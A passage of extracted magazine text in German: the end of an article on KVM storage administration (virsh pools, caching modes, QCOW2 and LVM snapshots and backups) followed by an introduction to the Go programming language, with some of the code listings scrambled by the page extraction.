aber dringend, den Zugriff ausschließlich<br />
read-only durchzuführen.<br />
Der praktische Nutzen ist damit gering.<br />
Das zugrunde liegende Problem besteht<br />
darin, dass der direkte Zugriff auf eine<br />
Festplatte sowohl durch das Host-System<br />
als auch durch die virtuelle Maschine<br />
Konflikte verursacht. Linux bietet keine<br />
Möglichkeit, den Zugriff auf eine Festplatte<br />
oder SSD auf einen bestimmten<br />
Prozess zu beschränken.<br />
Anstelle des Virtual Machine Managers<br />
können Sie die Datenträger auch in der<br />
Virtual Shell administrieren. Die »virsh«<br />
bietet dazu diverse »pool«- und »vol«-<br />
Kommandos. Listing 1 gibt dafür einige<br />
Beispiele.»pool‐define‐as« richtet einen<br />
neuen Pool ein. Der erste Parameter gibt<br />
den Namen, der zweite den Typ an, zum<br />
Beispiel »dir« für ein lokales Verzeichnis<br />
für Image-Dateien, »logical« für eine Volume<br />
Group (LVM) oder »disk« für eine<br />
ganze Festplatte.<br />
Im zweiten Parameter geben Sie den Namen<br />
des neuen Speicherpools an. Beachten<br />
Sie, dass das »‐‐target«-Verzeichnis<br />
bei Pools des Typs »dir« bereits existieren<br />
muss.<br />
»pool‐start« aktiviert den neuen Pool.<br />
»pool‐autostart« bewirkt, dass der neue<br />
Pool in Zukunft automatisch beim Start<br />
des Libvirt-Dämons aktiviert wird.<br />
virsh# pool‐define‐as new‐pool dir ‐‐targetU<br />
/data/new‐pool<br />
Pool new‐pool definiert.<br />
virsh# pool‐start new‐pool<br />
Pool new‐pool gestartet<br />
virsh# pool‐autostart new‐pool<br />
Pool new‐pool marked as autostarted<br />
»vol‐create‐as« erzeugt in einem Verzeichnis-Pool<br />
standardmäßig RAW-Images,<br />
wobei der gesamte Speicherplatz sofort<br />
alloziert wird. Das können Sie durch die<br />
Option »‐‐allocate 0G« verhindern. (In der<br />
virsh und in anderen Libvirt-Werkzeugen<br />
werden Datenträger als Volumes bezeichnet.<br />
Deswegen beginnen alle Kommandos<br />
zur Bearbeitung von Datenträgern mit<br />
»vol‐«.) Tabelle 1 zeigt noch einmal die<br />
wichtigsten Kommandos im Überblick.<br />
virsh# vol‐create‐as new‐pool test1.img 10GU<br />
‐‐allocation 0G<br />
Caching<br />
In der Detailansicht des Virtual Machine<br />
Manager können Sie im Dialogblatt des<br />
Datenträgers zwischen verschiedenen<br />
Caching-Modi wählen (Abbildung 4).<br />
Dazu müssen Sie zuerst die normalerweise<br />
versteckten Bereiche »Advanced<br />
options« und »Performance options« ausklappen.<br />
Dann stehen beim Feld »Cache<br />
mode« vier Einstellungen zur Auswahl:<br />
n None: Es wird kein Caching verwendet.<br />
Diese Einstellung gilt standardmäßig<br />
bei im Virtual Disk Manager<br />
eingerichteten virtuellen Maschinen.<br />
n Default: Der Hypervisor entscheidet,<br />
ob und welches Caching-Verfahren<br />
zum Einsatz kommt. Bei KVM ist das<br />
derzeit Writethrough-Caching (siehe<br />
den nächsten Punkt). Vorsicht: Das<br />
Defaultverhalten kann sich in zukünftigen<br />
KVM-Versionen ändern!<br />
n Writethrough: Mit dieser Einstellung<br />
werden Lese- und Schreibzugriffe<br />
durch den Zwischenspeicher des<br />
Hostsystems beschleunigt. Schreibzugriffe<br />
im Gastsystem werden aber erst<br />
dann abgeschlossen, wenn das Hostsystem<br />
den Speichervorgang quittiert<br />
hat. Jeder Synchronisationsvorgang<br />
(sync, fsync) muss physikalisch auf<br />
dem Hostsystem abschlossen werden,<br />
bevor der betreffende Prozess im Gastsystem<br />
weiterarbeiten kann. Aktuelle<br />
Qemu/KVM-Versionen berücksichtigen<br />
dabei I/O Barriers.<br />
n Writeback: In diesem Fall werden<br />
auch die Schreibvorgänge durch das<br />
Gastsystem gepuffert (so wie bei jedem<br />
Programm, das in eine Datei<br />
schreibt). Synchronisationsvorgänge<br />
werden nicht direkt weitergeleitet,<br />
sondern vom Hostsystem nach dessen<br />
Ermessen durchgeführt. Das führt<br />
bei Schreibvorgängen zu einer erheblichen<br />
Beschleunigung.<br />
Natürlich hat diese Art des Cachings<br />
einen gravierenden Nachteil: Wenn das<br />
Hostsystem abstürzt, kann es passieren,<br />
dass das Dateisystem des Gasts inkonsistent<br />
und im schlimmsten Fall unbenutzbar<br />
wird. Besonders groß ist dieses Risiko<br />
bei QCOW2-Image-Dateien. Abstürze des<br />
Gasts verursachen hin<strong>gegen</strong> nicht mehr<br />
Probleme als bei nicht-virtualisierten Systemen.<br />
Welches ist nun die beste Einstellung?<br />
In der KVM-Dokumentation wird häufig<br />
die Einstellung »None« empfohlen.<br />
Meine eigenen Benchmarks haben aber<br />
Listing 1: »virsh«-Beispiele<br />
01 root# virsh<br />
02 virsh# pool‐list<br />
03 Name Status Automatischer Start<br />
04 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />
05 default Aktiv yes<br />
06 my‐pool Aktiv yes<br />
07 vg2 Aktiv yes<br />
08 virsh# vol‐list my‐pool<br />
09 Name Pfad<br />
10 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />
11 centos‐test1.img /data/my‐pool/vm‐centos/<br />
centos‐test1.img<br />
12 centos‐test2.img /data/my‐pool/vm‐centos/<br />
centos‐test2.img<br />
13 ...<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
121
Virtualisierung<br />
KVM-Storage<br />
01 Backup:<br />
01 Backup:<br />
01 Backup:<br />
02 mkdir /snap<br />
ergeben, dass das Writethrough-Caching<br />
bei virtuellen Maschinen, die viele I/<br />
O-Operationen durchführen, eine deutliche<br />
Geschwindigkeitssteigerung bewirkt<br />
(auch bei LVM-Datenträgern). Noch<br />
mehr Performance bietet das Writeback-<br />
Caching, von dessen Einsatz ich aber aus<br />
Sicherheitsgründen abrate.<br />
Snapshots mit QCOW2<br />
Listing 3: Backup eines LV-Datenträgers<br />
02 lvcreate ‐s ‐L 2G ‐n vmname_snap /dev/vg1/vmname<br />
03 cat /dev/vg1/vmname_snap > /backup/vmname.img<br />
04 lvremove ‐f /dev/vg1/vmname_snap<br />
05 <br />
Listing 2: Backup eines QCOW2-Image<br />
02 virsh snapshot‐create‐as vmname snapname<br />
03 cp /var/lib/libvirt/images/vmname.img /backup<br />
04 cp /etc/libvirt/qemu/vmname.xml /backup<br />
05 cp /var/lib/libvirt/qemu/snapshot/vmname/snapname.<br />
xml /backup<br />
06 <br />
07 Wiederherstellung:<br />
08 cp /backup/vmname.img /var/lib/libvirt/images<br />
09 virsh define /backup/vmname.xml<br />
10 virsh snapshot‐create vmname /backup/snapname.xml<br />
‐‐redefine<br />
11 virsh snapshot‐revert vm backsnap ‐‐running<br />
06 Wiederherstellung:<br />
07 cat /backup/vmname.img > /dev/vg1/vmname_snap<br />
Listing 4: Image-Datei im Dateisystem in einem LV<br />
03 lvcreate ‐s ‐L 2G ‐‐name images‐snap /dev/vg1/<br />
lv‐images<br />
04 mount /dev/vg1/images‐snap /snap<br />
05 cp /snap/vmname.img /backup<br />
06 umount /snap<br />
07 lvremove /dev/vg1/images‐snap<br />
08 rmdir /snap<br />
09 <br />
10 Wiederherstellung:<br />
11 cp /backup/vmname.img /var/lib/libvirt/images/<br />
Snapshots helfen dabei, den Zustand<br />
oder das Dateisystem einer virtuellen Maschine<br />
zu einem bestimmten Zeitpunkt<br />
zu speichern. Dazu gibt es unterschiedliche<br />
Verfahren, je nachdem, welche virtuellen<br />
Datenträger zum Einsatz kommen.<br />
Die beste Snapshot-Unterstützung genießen<br />
QCOW2-Images. Die Image-Datei<br />
setzt sich aus relativ kleinen Blöcken<br />
zusammen. Als Snapshot gilt ein Readonly-Abbild<br />
des gesamten Images. Änderungen<br />
nach der Durchführung des<br />
Snapshots werden in neuen Blöcken gespeichert,<br />
sodass das Image weiterhin<br />
verwendbar bleibt.<br />
Es ist erlaubt, mehrere Snapshots zu<br />
erstellen. Allerdings beanspruchen Änderungen,<br />
die nach dem Snapshot gespeichert<br />
werden, zusätzlichen Speicherplatz.<br />
Somit liegen nun zwei oder mehr<br />
Versionen des Images vor; die Image-<br />
Datei kann deswegen größer werden als<br />
die beim Erzeugen definierte Maximalgröße!<br />
Um einen Snapshot im laufenden Betrieb<br />
einer virtuellen Maschine zu erzeugen,<br />
verwenden Sie das Virsh-Kommando<br />
»snapshot‐create«. Auch die weitere Administration<br />
der Snapshots erfolgt auf<br />
Kommandoebene (»snapshot‐revert«,<br />
»snapshot‐delete«, »snapshot‐list«). Der<br />
Virtual Maschine Manager unterstützt<br />
leider noch keine Snapshots.<br />
Eingefroren<br />
Bei der Erzeugung eines Snapshots<br />
wird auch der Zustand der virtuellen<br />
Maschine gespeichert (inklusive<br />
aller CPU-Register, eines Abbilds des<br />
RAM und so weiter). Diese Daten werden<br />
in einem eigenen Segment innerhalb<br />
der QCOW2-Datei gespeichert.<br />
Die Libvirt-Dokumentation spricht<br />
in diesem Zusammenhang von VM-<br />
Snapshots. Während der Ausführung<br />
von »snapshot‐create« wird die virtuelle<br />
Maschine vorübergehend angehalten. Sie<br />
läuft dann aber weiter.<br />
Wenn man mit dem<br />
Virsh-Kommando<br />
»snapshot‐revert«<br />
einen älteren<br />
Snapshot aktiviert,<br />
wird nicht nur die<br />
Image-Datei in den<br />
damaligen Zustand<br />
versetzt, sondern<br />
auch die virtuelle<br />
Maschine. Sie läuft<br />
also an der Stelle<br />
weiter, an der sie<br />
sich befand, als<br />
der Snapshot erstellt<br />
wurde.<br />
Leider dauert<br />
das Erstellen von<br />
QCOW2-Snapshots relativ lange, wenn<br />
das Caching aktiv ist. Wenn Sie auf<br />
das Caching nicht verzichten möchten,<br />
können Sie QCOW2-Snapshots mit dem<br />
Kommando »snapshot‐create ‐‐disk‐only«<br />
auch ohne Speicherung des RAM-Abbilds<br />
erzeugen. Das ist wesentlich schneller,<br />
hat aber den Nachteil, dass die virtuelle<br />
Maschine bei der Nutzung eines<br />
Snapshots nicht im bisherigen Zustand<br />
fortgesetzt werden kann, sondern neu<br />
gestartet werden muss. Die virtuelle Maschine<br />
verhält sich damit wie ein Rechner,<br />
der plötzlich ausgeschaltet wurde.<br />
LVM-Snapshots<br />
Eine Alternative zu QCOW2-Snapshots<br />
sind LVM-Snapshots. Diese Variante<br />
kommt natürlich nur dann infrage,<br />
wenn Sie die Image-Dateien in einem<br />
Logical Volume speichern, oder wenn<br />
Sie ein Logical Volume direkt als virtuellen<br />
Datenträger verwenden. Die Administration<br />
von LVM-Backups erfolgt<br />
vollkommen losgelöst von KVM beziehungsweise<br />
von den Libvirt-Werkzeugen<br />
durch das LVM-Kommando »lvcreate«.<br />
Anders als bei QCOW2-Snapshots besteht<br />
deswegen auch keine Möglichkeit, das<br />
Speicherabbild der virtuellen Maschine<br />
zu sichern. LVM-Snapshots von laufenden<br />
virtuellen Maschinen verhalten sich<br />
daher wie QCOW2-Snapshots mit der<br />
Option »‐‐disk‐only«.<br />
Grundsätzlich ist es einfach, ein Backup<br />
einer virtuellen Maschine durchzuführen:<br />
Sie fahren die virtuelle Maschine hinunter,<br />
kopieren die Image-Datei beziehungs-<br />
Abbildung 4: I/O-Caching im Virtual Machine Manager einstellen.<br />
122 Ausgabe 04-2012 Admin www.admin-magazin.de
KVM-Storage<br />
Virtualisierung<br />
weise lesen das Logical Volume aus und<br />
starten die Maschine dann neu. Diese Art<br />
des Backups ist für den <strong>Server</strong>-Einsatz<br />
aber ungeeignet: Die virtuellen Maschinen<br />
sollen selbstverständlich auch während<br />
eines Backups weiterlaufen. Umgekehrt<br />
ist es aber zwecklos, ein Logical Volume<br />
oder eine Image-Datei im laufenden<br />
Betrieb einfach auszulesen: Das Volume<br />
respektive die Datei würde sich während<br />
der Erstellung der Sicherung ändern, die<br />
resultierende Backup-Datei wäre inkonsistent<br />
und damit unbrauchbar.<br />
Snapshots bieten einen Ausweg aus<br />
diesem Dilemma. Dabei gibt es drei<br />
Varianten: QCOW2-Snapshots, LVM-<br />
Snapshots für ein Logical Volume, das<br />
direkt als KVM-Datenträger verwendet<br />
wird, oder LVM-Snapshots für ein Logical<br />
Volume, das ein Dateisystem mit<br />
KVM-Image-Dateien enthält. Die Listings<br />
2, 3 und 4 fassen die Kommandos zusammen,<br />
mit denen Sie für jede dieser<br />
Varianten ein Backup durchführen be-<br />
ziehungsweise die virtuelle Maschine<br />
aus dem Backup wiederherstellen.<br />
Bei den Varianten 3 und 4 lautet der<br />
Name der Volume Group jeweils »vg1«.<br />
Bei der Variante 4 gehe ich zusätzlich<br />
davon aus, dass sich das Verzeichnis »/<br />
var/lib/libvirt/images« direkt im Logical<br />
Volume »lv‐images« befindet.<br />
Die QCOW2-Variante ist am sichersten.<br />
Hier wird nämlich nicht nur der Datenträger<br />
selbst gesichert, sondern auch der<br />
Zustand der virtuellen Maschine zum<br />
Zeitpunkt des Backups. Das macht aber<br />
die Wiederherstellung aufwendiger, weil<br />
auch das RAM-Abbild wieder korrekt in<br />
das Libvirt-System eingespielt werden<br />
muss.<br />
Fazit<br />
Mitunter lohnt es sich, bei der KVM-<br />
Virtualisierung von den Standardeinstellungen<br />
bei der Auswahl des Image-Typs<br />
abzuweichen. Insbesondere bei Backups<br />
und Snapshots hat das Format großen<br />
Einfluss auf die verwendeten Werkzeuge<br />
und den Arbeitsablauf. Die richtigen<br />
Einstellungen beim Caching haben zum<br />
Teil erhebliche Auswirkungen auf die I/<br />
O-Performance des virtualisierten Gastsystems.<br />
(ofr)<br />
n<br />
Infos<br />
[1] KVM-Homepage:<br />
[http://www.linux-kvm.org]<br />
[2] Virtio-Treiber für Windows:<br />
[http:// alt. fedoraproject. org/ pub/ alt/<br />
virtio‐win/ latest/ images/ bin/]<br />
[3] QED-Disk-Format:<br />
[http://wiki.qemu.org/Features/QED]<br />
Der Autor<br />
Michael Kofler [http:// kofler. info] arbeitet als<br />
selbstständiger Computerbuch-Autor und Trainer.<br />
Zuletzt hat er zusammen mit Ralf Spenneberg<br />
das Buch „KVM für die <strong>Server</strong>-Virtualisierung“ im<br />
Addison-Wesley-Verlag veröffentlicht.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
123
Programmieren<br />
Go<br />
© Dimitar Dimitrov, 123RF<br />
Programmieren mit Go<br />
Moderner<br />
Klassiker<br />
Die Programmiersprache Go verspricht mit der vor Kurzem erschienenen<br />
Version 1 langfristige Kompatibilität. Konzipiert zur Systemprogrammierung,<br />
verzichtet sie auf modische Features und ist somit auch interessant<br />
für alle, die an akuter Hype-Allergie leiden. Oliver Frommel<br />
Listing 1: Error Handling<br />
01 for try := 0; try < 2; try++ {<br />
02 file, err = os.Create(filename)<br />
03 if err == nil {<br />
04 return<br />
05 }<br />
06 if e, ok := err.(*os.PathError); ok && e.Err ==<br />
syscall.ENOSPC {<br />
07 deleteTempFiles() // Recover some space.<br />
08 continue<br />
09 }<br />
10 return<br />
11 }<br />
Go macht keine falschen Versprechungen.<br />
Vielleicht ist es gerade das, was die<br />
Sprache längerfristig interessant macht.<br />
Im Jahr 2007 haben Robert Griesemer,<br />
Ken Thompson und Rob Pike sie erfunden,<br />
weil sie mit den existierenden<br />
Sprachen zur Systemprogrammierung<br />
unzufrieden waren. Dabei bedienen sie<br />
keinen der aktuellen Trends um asynchrone<br />
Webprogrammierung oder Cloud<br />
Computing. Vielmehr haben sie aus 30<br />
Jahren Erfahrung mit C gelernt und eine<br />
Programmiersprache geschaffen, die deren<br />
Nachfolge antreten könnte.<br />
Wie C zeigt auch Go [1] seine Stärken bei<br />
der Systemprogrammierung, wenngleich<br />
sich die Sprache natürlich für nahezu alle<br />
Zwecke einsetzen lässt. Die Spracherfinder<br />
sind bei Google angestellt, deshalb<br />
hat Go neben Java und Python auch<br />
seinen Weg auf die Google App Engine<br />
gefunden, die Go derzeit im experimentellen<br />
Stadium unterstützt [2].<br />
Zukunftsträchtig<br />
Anfang 2008 hatte Ken Thompson einen<br />
ersten experimentellen Compiler fertiggestellt,<br />
der C-Code erzeugt. Ian Tyler<br />
begann etwas später mit der Arbeit an einem<br />
Go-Frontend für den GCC-Compiler.<br />
Gegen Ende des Jahres stieg Russ Cox<br />
in das Go-Projekt ein, und die Arbeit<br />
ging etwas schneller voran. Im November<br />
2009 präsentierte das Team dann endlich<br />
das erste öffentliche Release des Go-<br />
Compilers. Im März 2012 erschien Version<br />
1.0 von Compiler und Spezifikation,<br />
die Kompatibilität für die kommenden<br />
Go-Releases verspricht [3]. Damit eignet<br />
sich Go jetzt auch für richtige Software-<br />
Projekte, nicht nur für Experimente.<br />
Die ausgesprochenen Ziele des Go-<br />
Projekts sind effiziente Übersetzung,<br />
schnelle Ausführung und einfache Programmierung.<br />
Bei existierenden Sprachen<br />
seien alle drei Zeile zusammen nicht zu<br />
haben, meinen die Go-Erfinder. Go soll<br />
das simple Programmieren in den immer<br />
beliebteren Sprachen wie Python und<br />
Ruby mit der Effizienz und Zuverlässigkeit<br />
von Sprachen wie C, C++ und Java<br />
kombinieren. Dabei soll die Übersetzung<br />
aber nicht so lange dauern wie etwa bei<br />
Java-Projekten. Außerdem will Go besser<br />
mit Abhängigkeiten zwischen externen<br />
Bibliotheken umgehen.<br />
Einfachheit ist eines der hervorstechenden<br />
Merkmale von Go. Ihr zuliebe haben<br />
die Spracherfinder auf viele Konstrukte<br />
verzichtet. In erster Linie soll Go eine<br />
konsistente und unzweideutige Syntax<br />
besitzen. Das kann man von Sprachen<br />
wie etwa Perl, Ruby oder Scala nicht<br />
behaupten, die für ein und denselben<br />
Zweck eine Vielzahl syntaktischer Konstrukte<br />
oder Methoden besitzen.<br />
Go orientiert sich an C, lässt aber viele<br />
Sprachelemente weg, beispielsweise solche,<br />
die redundant den gleichen Zweck<br />
erfüllen. Zum Beispiel gibt es vom Inkrement-Operator<br />
»++« nur noch die<br />
Postfix-Variante, die hinter der Variable<br />
steht. Gleichzeitig ist dies nur eine Anweisung,<br />
aber kein Ausdruck, der gleich<br />
weiterverwendet werden kann. Das führt<br />
zwar zu etwas mehr Schreibarbeit, aber<br />
zu eindeutiger Semantik und weniger<br />
Verwirrung.<br />
Etwas klarer werden Go-Programme noch<br />
durch Anleihen bei strukturierten Sprachen<br />
wie Pascal, Modula und Oberon.<br />
Teilweise war die Go-Syntax schon in<br />
Newsqueak und Limbo verwirklicht.<br />
Letztere ist die Programmiersprache des<br />
Inferno-Betriebssystems, das wiederum<br />
ein Ableger des Plan9-Systems ist, an<br />
dem Thompson und Pike früher arbeiteten.<br />
Klar formatiert<br />
Beispielsweise verzichtet Go auf Strichpunkte,<br />
die einzelne Statements abschließen<br />
(Abbildung 1). Tatsächlich sind die<br />
Strichpunkte Teil der Sprachspezifikation,<br />
aber der Parser ergänzt sie selbstständig,<br />
ähnlich wie es auch die Javascript-Spezifikation<br />
vorsieht. Damit das klappt, muss<br />
sich der Programmierer an den vorgegebenen<br />
Stil der Klammersetzung halten,<br />
der vorsieht, dass öffnende Klammern<br />
von Blocks immer am Ende einer Zeile<br />
erscheinen, nicht alleine zu Beginn der<br />
folgenden Zeile. Das mitgelieferte Tool<br />
»gofmt« stellt diese Formatierung sicher,<br />
124 Ausgabe 04-2012 Admin www.admin-magazin.de
Go<br />
Programmieren<br />
Abbildung 1: Die Tour auf der Go-Homepage verschafft einen guten ersten Eindruck der Programmiersprache.<br />
gibt es auch, aber eher<br />
wie in Pascal, also ohne<br />
die C-typische Zeigerarithmetik.<br />
Generische Typen, wie<br />
sie von C++, Java und<br />
Python bekannt sind,<br />
gibt es in Go nicht, wenn<br />
auch die Entwickler ihnen<br />
einen gewissen Nutzen<br />
bescheinigen und für<br />
die ferne Zukunft eine<br />
Implementierung nicht<br />
definitiv ausschließen.<br />
Dennoch lässt es sich in<br />
Go objektorientiert programmierern,<br />
die Abstraktion<br />
hierfür sind die<br />
sogenannten Interfaces,<br />
die sich aber von Interfaces<br />
etwa in Java oder<br />
Objective-C unterscheiden.<br />
Ein Interface speziwas<br />
den Programmierer von Handarbeit<br />
befreit und dafür sorgt, dass Go-Code bei<br />
allen Projekten gleich aussieht.<br />
Variablen werden mit dem Schlüsselwort<br />
»var« deklariert, gefolgt vom Variablennamen<br />
und dem Typ, also umgekehrt wie<br />
bei C, C++ oder Java:<br />
var x float64<br />
Variablennamen können mit jedem Zeichen<br />
beginnen, das im Unicode-Standard<br />
als Buchstabe gilt, jedoch sollte man es<br />
hierbei vernünftigerweise nicht übertreiben.<br />
Mit dem Operator »:=« lassen sich<br />
Variablen in einem Aufwasch definieren<br />
und initialisieren. Das Schlüsselwort<br />
»var« kann man hierbei, ebenso wie<br />
meist die Typangabe weglassen:<br />
i := 1<br />
pi := 3.142<br />
Auch bei Schleifen haben die Go-Entwickler<br />
radikal ausgemistet, was bei<br />
näherer Betrachtung durchaus sinnvoll<br />
erscheint, denn all die Whiles, Dos und<br />
Foreachs lassen sich meist einfach umformulieren.<br />
In Go gibt es nur noch die gute<br />
alte For-Schleife.<br />
Typen<br />
Aus der steigenden Popularität von Sprachen<br />
wie Python und Javascript haben<br />
die Go-Entwickler die Lehre gezogen,<br />
dass ein einfaches Typsystem die Verbreitung<br />
einer Programmiersprache eher fördert.<br />
Wie Robert Griesemer es ausdrückt:<br />
„Clumsy type systems drive people to<br />
dynamically typed languages.“ Dennoch<br />
wollten sie auf die Zuverlässigkeit, die<br />
stark typisierte Sprachen bieten, nicht<br />
verzichten. Der klassische Kompromiss<br />
ist bei Go nun in starker Typisierung mit<br />
Typinferenz verwirklicht, das heißt jede<br />
Variable hat einen fixen Typ, aber der<br />
Programmierer kann darauf verzichten,<br />
ihn anzugeben, wenn der Compiler ihn<br />
erschließen kann.<br />
Gleichzeitig gibt es aber in Go auch keine<br />
strikte Typenhierarchie, weil dies nach<br />
Ansicht der Entwickler die Implementierung<br />
von Compiler und<br />
Tools verkompliziert und<br />
zu endlosen Diskussionen<br />
über die konkrete<br />
Ausformung der Hierarchie<br />
führt. Stattdessen<br />
bietet Go wichtige<br />
Typen wie Arrays und<br />
Maps (Hashes) schon<br />
im Sprachkern. Pointer<br />
fiziert eine Sammlung von Methoden,<br />
die „Objekte“ implementieren, um damit<br />
eine bestimmte Funktion zu erfüllen,<br />
ohne dass sie einer gemeinsamen Klasse<br />
angehören müssen.<br />
Auch Exceptions gibt es in Go nicht, weil<br />
sie zu unkontrollierbaren Änderungen im<br />
Programmfluss führen. Als Alternative<br />
bietet Go mehrere Rückgabewerte für<br />
Funktionen an, die sich über einen Wildcard-Mechanismus<br />
zum Auslesen von<br />
Fehlerwerten eignen. Listing 1 zeigt in<br />
Zeile 2, wie der Aufruf von »os.Create()«<br />
gleichzeitig das Datei-Handle und einen<br />
Fehlercode zurückgibt.<br />
Tools<br />
Wer selbst mit der Go-Programmierung<br />
loslegen will, muss meistens erst noch<br />
den Compiler installieren, den es aber zumindest<br />
auf modernen Linux-Distributionen<br />
schon im Paketmanagement-System<br />
gib. Auf Ubuntu 12.04 etwa genügt zur<br />
… alles nur eine Frage der Lastverteilung !<br />
BalanceNG ®<br />
●<br />
Der Software Load-Balancer für Linux und Solaris<br />
●<br />
Voll virtualisierbar<br />
●<br />
Keine zusätzliche Hardware erforderlich<br />
●<br />
Security made in Germany:<br />
Garantiert frei von versteckten “Backdoors”<br />
Alle Informationen unter: www.BalanceNG.net<br />
Inlab Software GmbH<br />
Josef-Würth-Str. 3<br />
82031 Grünwald<br />
Tel: 089 / 64911420<br />
http://www.inlab.de<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
125
Programmieren<br />
Go<br />
Installation »apt‐get install golang«. Für<br />
alle anderen, einschließlich Mac- und<br />
Windows-Benutzer, gibt es Binärdistributionen<br />
des Go-Pakets.<br />
Nach der Installation finden sich auf der<br />
Festplatte, je nach Prozessorarchitektur,<br />
die Befehle »6a«, »6c«, »6g« und »6l« oder<br />
analoge Befehle mit den Ziffern 5 oder 8.<br />
Die 6er-Tools sind für AMD64, die 5er-<br />
Reihe für 368 und die 8er für ARM. Die<br />
seltsamen Namen sind ebenfalls ein Erbe<br />
von Plan9, das über diese Ziffern die Prozessorarchitekturen<br />
identifiziert.<br />
Praktischerweise muss man sich um<br />
diese Details in der Praxis nicht kümmern,<br />
sondern kann stattdessen einfach<br />
das Frontend »go« verwenden. Es sei jedoch<br />
noch erwähnt, dass die vom Compiler<br />
erzeugten Object-Dateien mit der Endung<br />
».6« Referenzen auf alle verwendeten<br />
Module enthält, die der Linker dann<br />
verwendet. Damit fällt das Problem weg,<br />
dass man zusätzlich zum Einbinden von<br />
Header-Dateien auch noch die passenden<br />
Libraries finden und beim Linken angeben<br />
muss wie von C und C++ bekannt.<br />
Wenn sich ein Go-Programm kompilieren<br />
lässt, kann der Compiler es auch linken.<br />
Die altbekannten Linker-Probleme gehören<br />
damit der Vergangenheit an. Auch die<br />
Aufgabe von Makefiles übernimmt »go«.<br />
Wer Go richtig installiert hat, sollte auf<br />
der Kommandozeile den Go-Befehl ausführen<br />
können:<br />
$ go version<br />
go version go1<br />
Wenn die Go-Installation nicht automatisch<br />
im »PATH« der ausführbaren Dateien<br />
enthalten ist, sollte man die Umgebungsvariable<br />
»GOROOT« auf das Elternverzeichnis<br />
setzen und dann »$GOROOT/<br />
bin« in den »PATH« aufnehmen.<br />
Weil Go-Programme sich wirklich schnell<br />
übersetzen lassen, eignen sie sich mit<br />
Einschränkungen auch für den Aufruf als<br />
Skript, also eine Art selbstgestrickte Justin-Time-Compilation.<br />
Das Tool Gorun unterstützt<br />
diesen Prozess [4].<br />
Fortgeschritten<br />
Abbildung 2: Die Tour auf der Go-Homepage verschafft einen guten ersten<br />
Eindruck der Programmiersprache.<br />
Trotz aller Reduktion gibt es in Go auch<br />
einige Features, die in anderen Sprachen<br />
als modern gelten und von Programmierern<br />
gewünscht werden. Ein Beispiel dafür<br />
sind die Closures, die in Go anonyme<br />
Funktionen sind, die ihre Umgebung<br />
speichern.<br />
Das erklärte Ziel der einfachen Programmierung<br />
für Multicore-Systeme (Go entstand<br />
in der Prä-Cloud-Ära, als Multicore-Prozessoren<br />
der letzte Schrei waren)<br />
erreicht Go mit einer Abstraktion namens<br />
Goroutines, die nach dem Vorbild der<br />
Communicating Sequential Processes<br />
(CSP) eine Vereinfachung <strong>gegen</strong>über der<br />
fehlerträchtigen Programmierung mit Threads<br />
darstellen [6].<br />
Zum Weiterlesen bietet sich das Online-<br />
Dokument „Effective Go“ an, das besonders<br />
ans Herz gelegt sei, weil es „idomatische“,<br />
also Go-typische Problemlösungen<br />
zeigt [7]. Bücher über Go gibt es<br />
mittlerweile schon einige, darunter auch<br />
zwei deutschsprachige. Hilfe findet man<br />
auch auf der Mailingliste „golang-nuts“<br />
(die Liste „golang-dev“ ist für Compiler-<br />
Entwickler gedacht). Schließlich noch ein<br />
Tipp für die Websuche nach Go-Ressourcen:<br />
statt „go“ als<br />
Suchbegriff einfach<br />
immer „golang“<br />
verwenden.<br />
Lokal lässt sich die<br />
ganze Dokumentation<br />
im Browser<br />
lesen, wenn<br />
man mit »godoc<br />
‐http=:8000« den<br />
Dokumentationsserver<br />
startet.<br />
Go selbst bringt<br />
schon eine Vielzahl<br />
von Bibliotheken<br />
mit (Abbildung<br />
2), weitere<br />
finden sich zum Beispiel unter [8] [9]<br />
und [10]. Größere in Go implementierte<br />
Projekte sind beispielsweise der Webserver<br />
Falcore [11] oder die Websoftware<br />
von Stathat [12].<br />
Fazit<br />
Go ist ausgereift und dank der Vorwärtskompatibilität,<br />
die seine Entwickler garantieren,<br />
für professionelle Software-<br />
Projekte geeignet. Auch die kurzen<br />
Compile-Zeiten sind für größere Projekte<br />
nützlich. Die Reduzierung des Sprachumfangs<br />
macht die Sprache relativ leicht<br />
erlernbar und hilft vor allem dabei, auch<br />
fremden Code leicht zu lesen, was letztlich<br />
die Wartungsfreundlichkeit von Software<br />
fördert. Der Preis für die Reduktion<br />
auf das Wesentliche ist der Verzicht, etwa<br />
auf klassenbasierte Objektorientierung,<br />
die viele Programmierer von ihrer Ausbildung<br />
gewohnt sind. Go bietet eigene<br />
Features zur ansatzweise objektorientierten<br />
Entwicklung, die aber das Eindenken<br />
in neue Konzepte erfordern. Es ist zu<br />
erwarten, dass sich Go gerade im Bereich<br />
der Systemprogrammierung noch weiter<br />
verbreiten wird, aber durch den Support<br />
auf Googles App Engine könnte auch<br />
der Einsatz bei der Webprogrammierung<br />
noch interessant werden.<br />
n<br />
Infos<br />
[1] Go: [http:// golang. org/]<br />
[2] Go auf der App Engine: [https:// developers.<br />
google. com/ appengine/ docs/ go]<br />
[3] News zu Go 1: [http:// www.<br />
admin‐magazin. de/ News/ Version‐1‐der‐Pr<br />
ogrammiersprache‐Go‐ist‐fertig]<br />
[4] Gorun: [http:// wiki. ubuntu. com/ gorun]<br />
[6] Communicating Sequential Processes:<br />
[http:// www. usingcsp. com/ cspbook. pdf]<br />
[7] Effective Go: [http:// golang. org/ doc/<br />
effective_go. html]<br />
[8] Libraries written in pure Go:<br />
[http:// go‐lang. cat‐v. org/ pure‐go‐libs]<br />
[9] Library Bindings for Go:<br />
[http:// go‐lang. cat‐v. org/ library‐bindings]<br />
[10] Externe Go-Projekte:<br />
[http:// godashboard. appspot. com/]<br />
[11] Falcore: [http:// ngenuity. ngmoco. com/ 2012/<br />
01/ introducing‐falcore‐and‐timber. html]<br />
[12] Building Stathat with Go: [http://<br />
blog. golang. org/ 2011/ 12/<br />
building‐stathat‐with‐go. html]<br />
126 Ausgabe 04-2012 Admin www.admin-magazin.de
Perl-DBI<br />
Programmieren<br />
© Stanislav Komogorov, 123RF<br />
